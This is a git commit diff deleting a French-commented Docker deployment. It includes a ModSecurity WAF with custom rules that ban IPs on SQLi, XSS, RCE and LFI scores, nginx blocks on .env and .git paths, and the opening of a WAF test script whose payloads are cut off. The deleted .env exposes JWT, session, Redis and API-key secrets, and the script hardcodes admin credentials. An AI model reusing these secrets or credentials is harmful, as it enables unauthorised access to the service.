chore: update
This commit is contained in:
@@ -8,3 +8,4 @@ frontend-prep2/
|
|||||||
scripts/data.txt
|
scripts/data.txt
|
||||||
scripts/data2.txt
|
scripts/data2.txt
|
||||||
scripts/data3.txt
|
scripts/data3.txt
|
||||||
|
docker-prod/
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
DB_HOST=postgres
|
|
||||||
DB_PORT=5432
|
|
||||||
DB_USER=postgres
|
|
||||||
DB_PASSWORD=votre_mot_de_passe
|
|
||||||
DB_NAME=gestion_db
|
|
||||||
DB_SSLMODE=disable
|
|
||||||
SESSION_SECRET=jfWR21Ywbuy{Yq<1A26TV)jCe
|
|
||||||
USER_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlds
|
|
||||||
ADMIN_JWT_SECRET=TheAmaziNgSecretJwtMotherFuckerInThEbitCh3232131231313443jqfdksdjfjsldfjlzZ
|
|
||||||
REDIS_HOST=redis
|
|
||||||
REDIS_PORT=6379
|
|
||||||
REDIS_PASSWORD=dndsjvnsdnvjsvdnjsvdn
|
|
||||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
|
||||||
API_PORT=8080
|
|
||||||
FRONTEND_PORT=5173
|
|
||||||
GIN_MODE=release
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
FROM golang:1.24-alpine AS builder
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
# Installer les dépendances système
|
|
||||||
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
|
|
||||||
|
|
||||||
# Copier go mod files
|
|
||||||
COPY backend/gestion/go.mod backend/gestion/go.sum ./
|
|
||||||
|
|
||||||
# Configurer Go et télécharger les dépendances
|
|
||||||
ENV GOPROXY=https://proxy.golang.org,direct
|
|
||||||
ENV GOSUMDB=sum.golang.org
|
|
||||||
ENV CGO_ENABLED=0
|
|
||||||
|
|
||||||
# Télécharger les dépendances
|
|
||||||
RUN go mod download
|
|
||||||
|
|
||||||
# Copier tout le code source
|
|
||||||
COPY backend/gestion/ .
|
|
||||||
|
|
||||||
# Build le binaire
|
|
||||||
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
|
|
||||||
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
|
|
||||||
-o /app/server .
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Stage 2: Runtime
|
|
||||||
# =========================================================
|
|
||||||
FROM alpine:latest AS runtime
|
|
||||||
|
|
||||||
# Installer les dépendances runtime
|
|
||||||
RUN apk --no-cache add ca-certificates tzdata wget
|
|
||||||
|
|
||||||
# Créer l'utilisateur avec UID/GID fixes
|
|
||||||
RUN addgroup -g 101 app && adduser -u 101 -S app -G app
|
|
||||||
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
# Copier le binaire et les fichiers nécessaires
|
|
||||||
COPY --from=builder /app/server .
|
|
||||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
|
||||||
|
|
||||||
# Copier l'entrypoint
|
|
||||||
COPY docker/backend/entrypoint.sh .
|
|
||||||
RUN chmod +x entrypoint.sh
|
|
||||||
|
|
||||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
|
||||||
chown -R app:app /app
|
|
||||||
|
|
||||||
# Passer à l'utilisateur non-root
|
|
||||||
USER app
|
|
||||||
|
|
||||||
EXPOSE 8080
|
|
||||||
|
|
||||||
ENTRYPOINT ["./entrypoint.sh"]
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Stage 3: WAF (Nginx + ModSecurity)
|
|
||||||
# =========================================================
|
|
||||||
FROM owasp/modsecurity-crs:nginx-alpine AS waf
|
|
||||||
|
|
||||||
# Toutes les opérations privilégiées en root
|
|
||||||
USER root
|
|
||||||
|
|
||||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
|
||||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
|
||||||
|
|
||||||
COPY docker/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
|
||||||
COPY docker/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
|
||||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
|
||||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
|
||||||
|
|
||||||
USER nginx
|
|
||||||
EXPOSE 80 443
|
|
||||||
CMD ["nginx", "-g", "daemon off;"]
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
SecRuleRemoveById 932235
|
|
||||||
SecRuleRemoveById 911100
|
|
||||||
|
|
||||||
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
|
||||||
"id:399002,phase:2,nolog,pass,\
|
|
||||||
ctl:ruleRemoveById=920120,\
|
|
||||||
ctl:ruleRemoveById=920121"
|
|
||||||
|
|
||||||
SecRule REQUEST_URI "@beginsWith /uploads/" \
|
|
||||||
"id:1000,\
|
|
||||||
phase:1,\
|
|
||||||
pass,\
|
|
||||||
nolog,\
|
|
||||||
ctl:ruleEngine=Off"
|
|
||||||
|
|
||||||
SecRule IP:BANNED "@eq 1" \
|
|
||||||
"id:100000,phase:1,deny,status:403,log,\
|
|
||||||
msg:'IP is banned'"
|
|
||||||
|
|
||||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
|
||||||
"id:100099,phase:1,deny,status:403,log,\
|
|
||||||
msg:'Critical reputation score',\
|
|
||||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
|
||||||
|
|
||||||
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
|
|
||||||
"id:100001,phase:2,deny,status:403,log,\
|
|
||||||
msg:'SQL Injection detected',\
|
|
||||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
|
||||||
|
|
||||||
SecRule TX:XSS_SCORE "@ge 5" \
|
|
||||||
"id:100010,phase:2,deny,status:403,log,\
|
|
||||||
msg:'XSS detected',\
|
|
||||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
|
||||||
|
|
||||||
SecRule TX:RCE_SCORE "@ge 5" \
|
|
||||||
"id:100020,phase:2,deny,status:403,log,\
|
|
||||||
msg:'RCE detected',\
|
|
||||||
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
|
|
||||||
|
|
||||||
SecRule TX:LFI_SCORE "@ge 5" \
|
|
||||||
"id:100030,phase:2,deny,status:403,log,\
|
|
||||||
msg:'LFI detected',\
|
|
||||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
|
||||||
|
|
||||||
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
|
|
||||||
"id:100060,phase:2,deny,status:403,log,\
|
|
||||||
msg:'Critical anomaly score',\
|
|
||||||
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
|
|
||||||
|
|
||||||
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
|
|
||||||
"id:399010,phase:1,nolog,pass,\
|
|
||||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
|
||||||
|
|
||||||
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
|
|
||||||
"id:399011,phase:1,nolog,pass,\
|
|
||||||
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
|
|
||||||
|
|
||||||
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
|
||||||
"id:399001,phase:2,nolog,pass,\
|
|
||||||
ctl:ruleRemoveById=932235"
|
|
||||||
|
|
||||||
SecAction \
|
|
||||||
"id:400161,phase:1,nolog,pass,\
|
|
||||||
setvar:'ip.request_window_1sec=+1',\
|
|
||||||
expirevar:'ip.request_window_1sec=1'"
|
|
||||||
|
|
||||||
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
|
|
||||||
"id:400160,phase:1,deny,status:429,log,\
|
|
||||||
msg:'Too many requests'"
|
|
||||||
|
|
||||||
SecRule IP:REPUTATION_SCORE "@ge 100" \
|
|
||||||
"id:409999,phase:1,deny,status:403,log,\
|
|
||||||
msg:'Critical reputation score',\
|
|
||||||
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
set -e
|
|
||||||
|
|
||||||
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
|
|
||||||
# Puis créer les sous-dossiers
|
|
||||||
if [ ! -d "/app/uploads" ]; then
|
|
||||||
mkdir -p /app/uploads
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Créer les sous-répertoires
|
|
||||||
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
|
|
||||||
|
|
||||||
echo "✅ Répertoires uploads prêts"
|
|
||||||
|
|
||||||
# Lancer l'application
|
|
||||||
exec ./server
|
|
||||||
@@ -1,209 +0,0 @@
|
|||||||
# =========================================================
|
|
||||||
# Request ID correlation
|
|
||||||
# =========================================================
|
|
||||||
map $http_x_request_id $req_id {
|
|
||||||
default $http_x_request_id;
|
|
||||||
"" $request_id;
|
|
||||||
}
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Upstreams
|
|
||||||
# =========================================================
|
|
||||||
upstream backend {
|
|
||||||
server backend:8080;
|
|
||||||
keepalive 32;
|
|
||||||
}
|
|
||||||
|
|
||||||
upstream frontend {
|
|
||||||
server frontend:80;
|
|
||||||
keepalive 8;
|
|
||||||
}
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# HTTP → HTTPS redirect
|
|
||||||
# =========================================================
|
|
||||||
server {
|
|
||||||
listen 80;
|
|
||||||
listen [::]:80;
|
|
||||||
server_name _;
|
|
||||||
|
|
||||||
return 301 https://$host$request_uri;
|
|
||||||
}
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# HTTPS — Hardened
|
|
||||||
# =========================================================
|
|
||||||
server {
|
|
||||||
listen 443 ssl;
|
|
||||||
listen [::]:443 ssl;
|
|
||||||
http2 on;
|
|
||||||
server_name _;
|
|
||||||
|
|
||||||
server_tokens off;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# TLS
|
|
||||||
# ---------------------------------------------------
|
|
||||||
ssl_certificate /etc/nginx/certs/fullchain.pem;
|
|
||||||
ssl_certificate_key /etc/nginx/certs/privkey.pem;
|
|
||||||
|
|
||||||
ssl_protocols TLSv1.2 TLSv1.3;
|
|
||||||
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256;
|
|
||||||
ssl_prefer_server_ciphers off;
|
|
||||||
|
|
||||||
ssl_session_cache shared:SSL:10m;
|
|
||||||
ssl_session_timeout 1d;
|
|
||||||
ssl_session_tickets off;
|
|
||||||
|
|
||||||
ssl_stapling on;
|
|
||||||
ssl_stapling_verify on;
|
|
||||||
ssl_trusted_certificate /etc/nginx/certs/fullchain.pem;
|
|
||||||
resolver 1.1.1.1 8.8.8.8 valid=300s;
|
|
||||||
resolver_timeout 5s;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# En-têtes de sécurité
|
|
||||||
# ---------------------------------------------------
|
|
||||||
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
|
|
||||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
|
||||||
add_header X-Content-Type-Options "nosniff" always;
|
|
||||||
add_header X-XSS-Protection "0" always;
|
|
||||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
|
||||||
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;
|
|
||||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob: https:; font-src 'self' data:; connect-src 'self' https:; frame-ancestors 'self';" always;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Limites et timeouts
|
|
||||||
# ---------------------------------------------------
|
|
||||||
client_max_body_size 100M;
|
|
||||||
client_body_buffer_size 128k;
|
|
||||||
client_header_buffer_size 1k;
|
|
||||||
large_client_header_buffers 4 8k;
|
|
||||||
|
|
||||||
client_body_timeout 30s;
|
|
||||||
client_header_timeout 30s;
|
|
||||||
send_timeout 30s;
|
|
||||||
keepalive_timeout 65s;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Gzip (statique uniquement — évite BREACH sur l'API)
|
|
||||||
# ---------------------------------------------------
|
|
||||||
gzip on;
|
|
||||||
gzip_vary on;
|
|
||||||
gzip_proxied any;
|
|
||||||
gzip_comp_level 5;
|
|
||||||
gzip_min_length 1000;
|
|
||||||
gzip_types text/plain text/css text/javascript application/javascript application/json image/svg+xml;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# ModSecurity WAF
|
|
||||||
# ---------------------------------------------------
|
|
||||||
modsecurity on;
|
|
||||||
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# API backend Go
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location /api/ {
|
|
||||||
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
|
|
||||||
|
|
||||||
if ($request_method = 'OPTIONS') {
|
|
||||||
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
|
|
||||||
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, PATCH, DELETE, OPTIONS' always;
|
|
||||||
add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type, X-Request-ID' always;
|
|
||||||
add_header 'Access-Control-Allow-Credentials' 'true' always;
|
|
||||||
add_header 'Access-Control-Max-Age' 86400 always;
|
|
||||||
add_header 'Content-Length' 0;
|
|
||||||
add_header 'Content-Type' 'text/plain charset=UTF-8';
|
|
||||||
return 204;
|
|
||||||
}
|
|
||||||
|
|
||||||
proxy_pass http://backend;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Connection "";
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
proxy_set_header X-Request-ID $req_id;
|
|
||||||
proxy_hide_header X-Powered-By;
|
|
||||||
|
|
||||||
proxy_connect_timeout 60s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
|
|
||||||
proxy_buffer_size 128k;
|
|
||||||
proxy_buffers 4 256k;
|
|
||||||
proxy_busy_buffers_size 256k;
|
|
||||||
}
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Webhook Telegram
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location = /webhook/telegram {
|
|
||||||
limit_except POST { deny all; }
|
|
||||||
|
|
||||||
proxy_pass http://backend;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Connection "";
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
}
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Fichiers uploadés (images / vidéos)
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location /uploads/ {
|
|
||||||
alias /usr/share/nginx/html/uploads/;
|
|
||||||
expires 7d;
|
|
||||||
add_header Cache-Control "public, no-transform" always;
|
|
||||||
add_header X-Content-Type-Options "nosniff" always;
|
|
||||||
|
|
||||||
location ~* \.(php|pl|py|cgi|sh|rb|exe)$ {
|
|
||||||
deny all;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Frontend React SPA
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location / {
|
|
||||||
proxy_pass http://frontend;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_set_header Connection "";
|
|
||||||
proxy_set_header Host $host;
|
|
||||||
proxy_set_header X-Real-IP $remote_addr;
|
|
||||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
||||||
proxy_set_header X-Forwarded-Proto $scheme;
|
|
||||||
}
|
|
||||||
|
|
||||||
# ---------------------------------------------------
|
|
||||||
# Blocage fichiers sensibles
|
|
||||||
# ---------------------------------------------------
|
|
||||||
location ~ /\. {
|
|
||||||
deny all;
|
|
||||||
access_log off;
|
|
||||||
log_not_found off;
|
|
||||||
}
|
|
||||||
|
|
||||||
location ~* \.(env|git|sql|bak|log|conf|ini|sh)$ {
|
|
||||||
deny all;
|
|
||||||
access_log off;
|
|
||||||
log_not_found off;
|
|
||||||
}
|
|
||||||
|
|
||||||
location ~* (package\.json|package-lock\.json|yarn\.lock|Dockerfile|docker-compose)$ {
|
|
||||||
deny all;
|
|
||||||
access_log off;
|
|
||||||
log_not_found off;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Bloquer scans WordPress / PHP courants
|
|
||||||
location ~* (wp-admin|wp-login|wp-content|xmlrpc|\.php)$ {
|
|
||||||
deny all;
|
|
||||||
access_log off;
|
|
||||||
log_not_found off;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,177 +0,0 @@
|
|||||||
services:
|
|
||||||
# =========================================================
|
|
||||||
# Backend Go
|
|
||||||
# =========================================================
|
|
||||||
backend:
|
|
||||||
image: xor1234/backend-mln:latest
|
|
||||||
container_name: gestion-backend
|
|
||||||
restart: unless-stopped
|
|
||||||
environment:
|
|
||||||
- DB_HOST=${DB_HOST:-postgres}
|
|
||||||
- DB_PORT=${DB_PORT:-5432}
|
|
||||||
- DB_USER=${DB_USER:-postgres}
|
|
||||||
- DB_PASSWORD=${DB_PASSWORD}
|
|
||||||
- DB_NAME=${DB_NAME:-gestion_db}
|
|
||||||
- DB_SSLMODE=${DB_SSLMODE:-disable}
|
|
||||||
- SESSION_SECRET=${SESSION_SECRET}
|
|
||||||
- USER_JWT_SECRET=${USER_JWT_SECRET}
|
|
||||||
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
|
|
||||||
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
|
|
||||||
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
|
|
||||||
- REDIS_HOST=${REDIS_HOST:-redis}
|
|
||||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
|
||||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
|
||||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
|
||||||
- API_PORT=${API_PORT:-8080}
|
|
||||||
- TELEGRAM_WEBHOOK_URL=${TELEGRAM_WEBHOOK_URL}
|
|
||||||
- TELEGRAM_WEBHOOK_SECRET=${TELEGRAM_WEBHOOK_SECRET}
|
|
||||||
- NOWPAYMENTS_IPN_SECRET=${NOWPAYMENTS_IPN_SECRET}
|
|
||||||
volumes:
|
|
||||||
- backend_uploads:/app/uploads
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
depends_on:
|
|
||||||
postgres:
|
|
||||||
condition: service_healthy
|
|
||||||
redis:
|
|
||||||
condition: service_healthy
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
|
||||||
# =========================================================
|
|
||||||
frontend:
|
|
||||||
image: xor1234/frontend-mln:latest
|
|
||||||
container_name: gestion-frontend
|
|
||||||
restart: unless-stopped
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
depends_on:
|
|
||||||
- backend
|
|
||||||
|
|
||||||
waf:
|
|
||||||
image: xor1234/backend-mln:waf
|
|
||||||
container_name: gestion-waf
|
|
||||||
restart: unless-stopped
|
|
||||||
environment:
|
|
||||||
- DISABLE_MODSEC_ENV_SUBST=true
|
|
||||||
- PARANOIA=2
|
|
||||||
- ANOMALY_INBOUND=5
|
|
||||||
- ANOMALY_OUTBOUND=4
|
|
||||||
ports:
|
|
||||||
- "80:80"
|
|
||||||
- "443:443"
|
|
||||||
volumes:
|
|
||||||
- backend_uploads:/usr/share/nginx/html/uploads:ro
|
|
||||||
- ./certs:/etc/nginx/certs:ro
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
depends_on:
|
|
||||||
- backend
|
|
||||||
- frontend
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# PostgreSQL
|
|
||||||
# =========================================================
|
|
||||||
postgres:
|
|
||||||
image: postgres:16-alpine
|
|
||||||
container_name: gestion-postgres
|
|
||||||
restart: unless-stopped
|
|
||||||
environment:
|
|
||||||
- POSTGRES_USER=${DB_USER:-postgres}
|
|
||||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
|
||||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
|
||||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
|
||||||
volumes:
|
|
||||||
- postgres_data:/var/lib/postgresql/data
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
healthcheck:
|
|
||||||
test:
|
|
||||||
[
|
|
||||||
"CMD-SHELL",
|
|
||||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
|
||||||
]
|
|
||||||
interval: 10s
|
|
||||||
timeout: 5s
|
|
||||||
retries: 5
|
|
||||||
start_period: 10s
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Redis
|
|
||||||
# =========================================================
|
|
||||||
redis:
|
|
||||||
image: redis:7-alpine
|
|
||||||
container_name: gestion-redis
|
|
||||||
restart: unless-stopped
|
|
||||||
command: >
|
|
||||||
redis-server
|
|
||||||
--requirepass ${REDIS_PASSWORD}
|
|
||||||
--appendonly yes
|
|
||||||
--appendfsync everysec
|
|
||||||
--maxmemory 256mb
|
|
||||||
--maxmemory-policy allkeys-lru
|
|
||||||
volumes:
|
|
||||||
- redis_data:/data
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
healthcheck:
|
|
||||||
test:
|
|
||||||
[
|
|
||||||
"CMD",
|
|
||||||
"redis-cli",
|
|
||||||
"--no-auth-warning",
|
|
||||||
"-a",
|
|
||||||
"${REDIS_PASSWORD}",
|
|
||||||
"ping",
|
|
||||||
]
|
|
||||||
interval: 10s
|
|
||||||
timeout: 3s
|
|
||||||
retries: 5
|
|
||||||
start_period: 10s
|
|
||||||
|
|
||||||
dozzle-agent:
|
|
||||||
image: amir20/dozzle:latest
|
|
||||||
command: agent
|
|
||||||
volumes:
|
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
|
||||||
ports:
|
|
||||||
- "7007:7007"
|
|
||||||
restart: unless-stopped
|
|
||||||
|
|
||||||
clamav:
|
|
||||||
deploy:
|
|
||||||
resources:
|
|
||||||
limits:
|
|
||||||
memory: 1g
|
|
||||||
cpus: 0.5
|
|
||||||
image: clamav/clamav:latest
|
|
||||||
container_name: gestion-clamav
|
|
||||||
restart: unless-stopped
|
|
||||||
volumes:
|
|
||||||
- backend_uploads:/app/uploads:ro
|
|
||||||
- clamav_data:/var/lib/clamav
|
|
||||||
networks:
|
|
||||||
- gestion-network
|
|
||||||
healthcheck:
|
|
||||||
test: ["CMD", "clamdcheck.sh"]
|
|
||||||
interval: 60s
|
|
||||||
timeout: 10s
|
|
||||||
retries: 3
|
|
||||||
start_period: 120s
|
|
||||||
|
|
||||||
networks:
|
|
||||||
gestion-network:
|
|
||||||
driver: bridge
|
|
||||||
internal: false
|
|
||||||
driver_opts:
|
|
||||||
com.docker.network.bridge.name: gestion-br0
|
|
||||||
|
|
||||||
volumes:
|
|
||||||
postgres_data:
|
|
||||||
driver: local
|
|
||||||
redis_data:
|
|
||||||
driver: local
|
|
||||||
backend_uploads:
|
|
||||||
driver: local
|
|
||||||
clamav_data:
|
|
||||||
driver: local
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
# =========================================================
|
|
||||||
# Stage 1: Build React/Vite
|
|
||||||
# =========================================================
|
|
||||||
FROM node:22-alpine AS builder
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
COPY frontend-prep/package.json frontend-prep/package-lock.json* ./
|
|
||||||
RUN npm ci --ignore-scripts
|
|
||||||
|
|
||||||
COPY frontend-prep/ .
|
|
||||||
RUN npm run build
|
|
||||||
|
|
||||||
# =========================================================
|
|
||||||
# Stage 2: Nginx HTTP (TLS terminé par le WAF)
|
|
||||||
# =========================================================
|
|
||||||
FROM nginx:alpine AS runtime
|
|
||||||
|
|
||||||
COPY docker/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
|
||||||
|
|
||||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
|
||||||
|
|
||||||
RUN chown -R nginx:nginx /usr/share/nginx/html && \
|
|
||||||
mkdir -p /var/cache/nginx && \
|
|
||||||
chown -R nginx:nginx /var/cache/nginx && \
|
|
||||||
chown -R nginx:nginx /var/log/nginx && \
|
|
||||||
touch /var/run/nginx.pid && \
|
|
||||||
chown nginx:nginx /var/run/nginx.pid
|
|
||||||
|
|
||||||
USER nginx
|
|
||||||
|
|
||||||
EXPOSE 80
|
|
||||||
|
|
||||||
CMD ["nginx", "-g", "daemon off;"]
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
server {
|
|
||||||
listen 80;
|
|
||||||
server_name _;
|
|
||||||
|
|
||||||
root /usr/share/nginx/html;
|
|
||||||
index index.html;
|
|
||||||
|
|
||||||
location / {
|
|
||||||
try_files $uri $uri/ /index.html;
|
|
||||||
}
|
|
||||||
|
|
||||||
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
|
||||||
expires 1y;
|
|
||||||
add_header Cache-Control "public, immutable";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,610 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
|
||||||
# =============================================================================
|
|
||||||
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
|
||||||
# Usage: ./test-rules.sh
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
# Couleurs pour l'affichage
|
|
||||||
RED='\033[0;31m'
|
|
||||||
GREEN='\033[0;32m'
|
|
||||||
YELLOW='\033[1;33m'
|
|
||||||
BLUE='\033[0;34m'
|
|
||||||
PURPLE='\033[0;35m'
|
|
||||||
CYAN='\033[0;36m'
|
|
||||||
NC='\033[0m' # No Color
|
|
||||||
BOLD='\033[1m'
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
API_BASE_URL="http://172.20.167.237"
|
|
||||||
|
|
||||||
# Credentials Client
|
|
||||||
CLIENT_USERNAME="salut"
|
|
||||||
CLIENT_PASSWORD="salut1234_"
|
|
||||||
CLIENT_TOKEN=""
|
|
||||||
|
|
||||||
# Credentials Admin
|
|
||||||
ADMIN_USERNAME="admin_1768505094"
|
|
||||||
ADMIN_PASSWORD="AdminPass123!"
|
|
||||||
ADMIN_TOKEN=""
|
|
||||||
|
|
||||||
TOTAL_TESTS=0
|
|
||||||
PASSED_TESTS=0
|
|
||||||
FAILED_TESTS=0
|
|
||||||
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Fonctions Utilitaires
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
print_header() {
|
|
||||||
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
|
||||||
echo -e "${BOLD}${CYAN}$1${NC}"
|
|
||||||
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_section() {
|
|
||||||
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_test() {
|
|
||||||
echo -e "${YELLOW}[TEST] $1${NC}"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_success() {
|
|
||||||
((PASSED_TESTS++))
|
|
||||||
((TOTAL_TESTS++))
|
|
||||||
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_fail() {
|
|
||||||
((FAILED_TESTS++))
|
|
||||||
((TOTAL_TESTS++))
|
|
||||||
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_info() {
|
|
||||||
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_warning() {
|
|
||||||
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_response() {
|
|
||||||
echo -e "${PURPLE}📄 Response:${NC} $1"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fonction pour effectuer une requête HTTP avec token client
|
|
||||||
http_test_client() {
|
|
||||||
local method=$1
|
|
||||||
local endpoint=$2
|
|
||||||
local data=$3
|
|
||||||
local expected_code=$4
|
|
||||||
local description=$5
|
|
||||||
local extra_headers=$6
|
